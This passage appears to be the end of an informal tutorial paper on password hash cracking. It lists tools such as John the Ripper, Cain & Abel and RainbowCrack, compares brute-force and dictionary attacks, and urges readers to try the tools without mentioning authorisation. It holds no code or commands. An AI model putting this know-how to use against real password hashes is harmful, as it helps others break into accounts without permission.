[ 0x0d ] Famous Crackers
============================================
Ok, these scripts are far from optimized and not suited for serious cracking.
Fortunately, a lot of advanced, high-end, applications exist, a list follows:

John The Ripper
===============
Ok, who hasn't heard of that before huh?
Very fast hash cracker supporting a lot of algorithms.
Website: http://www.openwall.com/john/

Cain & Abel
===============
That's more of a security suite than just a cracker.
Sniffer, cracker, decrypter, encrypter you name it, it's got it.
It's only for windows and it can extract VERY interesting information from a system.
Website: http://www.oxid.it/cain.html

RainbowCrack
===============
Now that's a big boy toy!
The difference of RainbowCrack from other crackers is that it reads precomputed hashes
which make password cracking faster. Considering that the precomputed hash tables can
reach terrabytes in size you can imagine how many hashes you have before you even know it.
Problem is though, unless you have a cluster it is better to get the hash tables from
somewhere else than generate them yourself.
Website: http://www.antsight.com/zsl/rainbowcrack/

L0phtCrack5
===============
That's the Cadillac of password recovery tools for Windows.
It's a sad thing that @stake got bought from Symantec and stopped supporting LC.
Search for LC5, though, chances are someone has a copy buried somewhere.

LCP
===============
That's a freeware L0phtCrack clone.
Unfortunately, it runs only on Windows boxes
Website: http://www.lcpsoft.com/english/index.htm


These are the most widely used applications, give them a shot, you'll love them.


[ 0x0e ] Pros and Cons of the 2 attacks
============================================

Brute Force
=================
Pros Cons
----- -----
It is guaranteed that the hash will get cracked It might even take years for the crack to complete
It requires a lot of computation power

Dictionary Attack
=================
Pros Cons
----- -----
Faster than bruteforcing Significantly less chances to crack a hash than bruteforce
A lot of big dictionaries are freely available If the encrypted string is random no "valid" wordlist will crack it


[ 0x0f ] Epilogue
============================================
Ok, this paper got to an end.
It wasn't a big, in depth, analysis of the 2 techniques but I hope that it
served as a good starting point.